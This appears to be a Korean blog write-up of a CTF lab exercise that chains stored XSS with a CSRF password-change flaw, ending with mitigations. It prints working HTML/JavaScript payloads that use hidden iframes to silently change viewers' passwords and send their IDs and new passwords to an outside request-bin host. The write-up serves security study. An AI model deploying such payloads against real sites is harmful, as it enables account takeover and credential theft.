본문 바로가기

보안지식/CSRF

CSRF 1번 공격 시나리오

안녕하세요 이번에는 한 번 공격 시나리오을 짜보려고 합니다.

이번이 처음인지라 저도 많이 찾아보고 참고을 하고 수정을 많이 하겠습니다.

 

시작하겠습니다.

 

 

 

 

CSRF 실습 1번-

 

한 페이지의 게시판에서 XSS 공격이 통하는 게시판을 발견했습니다.

그리고 마이페이지에 비밀번호 변경을 할 때 새로운 pw의 파라미터만 있으면 변경된다는 취약점을 찾았습니다.

 

이 두 개을 이용하여 CSRF 공격이 통합니다.

 

CSRF란?

 

사이트 간 요청 위조(Cross-sire rquest forgery)으로 자신의 의지와는 무관하게 공격자가 의도한 행위

(삭제,수정,변경 조회 등)를 특정 웹사이트에 요청을 하는 공격입니다.

 

 

CSRF 공격

 

 

1) 마이페이지 비밀번호 변경

 

비밀번호 변경

 

비밀번호 변경할 때 pw의 파라미터만 보내면 되는 취약점을 찾았습니다.

 

 

GET방식 비밀번호 변경

 

게다가 POST 방식을 GET 방식으로 바꾸어서 보내어도 비밀번호가 바뀌는 것을 확인했습니다.

 

 

이 GET방식은 사이트에 접속한 클라이언트 즉 세션 값 가진 사람들 한에

이 바꾸는 pw만 있으면 된다는 취약점을 이용하여 들어가기만 하면 비밀번호가 바뀌게 하는 링크 생성 가능합니다.

 

http://ctf.segfaulthub.com:7777/csrf_1/mypage_update.php?id=&info=&pw=1234 

 

 

 

 

이 링크을 XSS 취약점이 있는 게시판에 스크립트에 넣어서 공격이 가능합니다.

 

<iframe width="0" height="0" border="0" name="stealthframe" id="stealthframe" style="display: none;" sandbox="allow-scripts""></iframe>
<form method="GET" action="http://ctf.segfaulthub.com:7777/csrf_1/mypage_update.php" target="stealthframe">
<input type="hidden" name="pw" value="1234">
</form>

<script>
document.forms[0].submit();
</script>

 

이 코드 이용하여 비밀번호 번경하고 추가로

form 태그 이용하여 GET 방식으로 비밀번호 변경이 가능하며 공격자 서버로 ID도 전송이 가능합니다

 

 

<iframe id="getID" src="http://ctf.segfaulthub.com:7777/csrf_1/mypage.php" width="0" height="0" border="0" style="display: none;" onload="exploit()"></iframe>
<iframe id="stealth" name="stealth" width="0" height="0" border="0" style="display: none;" ></iframe>

<form id="ID_form" method="GET" action="https://ensceyn8oilde.x.pipedream.net/" target="stealth">
<input type="hidden" name="pw" value="1234">
<input type="hidden" name="id" value="">
</form>

<iframe id="stealth2" name="stealth2" width="0" height="0" border="0" style="display: none;" sandbox="allow-scripts"></iframe>
<form id="pw_form" method="GET" action="http://ctf.segfaulthub.com:7777/csrf_1/mypage_update.php" target="stealth2">
<input type="hidden" name="pw" value="1234">
</form>

<script>
	function exploit() {
    	var token = document.getElementById('getID').contentDocument.forms[0].id.placeholder;
        
        document.getElementById('ID_form').id.value=token;
        document.forms['ID_form'].submit();
        document.forms['pw_form'].submit();
    }
</script>

 

 

 

 

 

이 게시판을 보는 사람들은 해커의 서버에 아이디와 변경된 비밀번호가 보내지게 되면서 비밀번호가 변경됩니다.

 

 

 

 

 

-피해자 인터넷 기록

 

 

 

 

-공격자 서버

 

 

 

그리고 이 얻은 정보로 게시판에 자신이 아닌 아이디로 게시판에 악성광고을 삽입 가능 합니다.

 

 

 

______________________________________________________________________________________________

 

 

-대응 방법

 

1. GET 방식이 안되게 무조건 POST 방식으로만 받을 수 있게 한다.

$_POST[] 변수 이용

 

2. 게시판에 있는 XSS 취약점을 막는다.

HTML 엔티티로 치환해 주는 라이브러리 활용, filter_var 함수 사용

 

3. 비밀번호 변경할 때 이전 비밀번호 입력까지 받아서 인증 과정을 구현한다.

이전 비밀번호는 공격자가 알 수 없으니 인증과정이 있으면 대응이 된다.

 

 

 

 

'보안지식 > CSRF' 카테고리의 다른 글

CSRF 3번 공격 시나리오  (0) 2023.05.29
CSRF 2번 공격 시나리오  (0) 2023.05.28
CSRF 공격 - 실습 (3번 풀이)  (2) 2023.05.22
CSRF 공격 - 실습 (2번 풀이)  (0) 2023.05.21
CSRF 공격 - 실습 (1번 풀이)  (0) 2023.05.21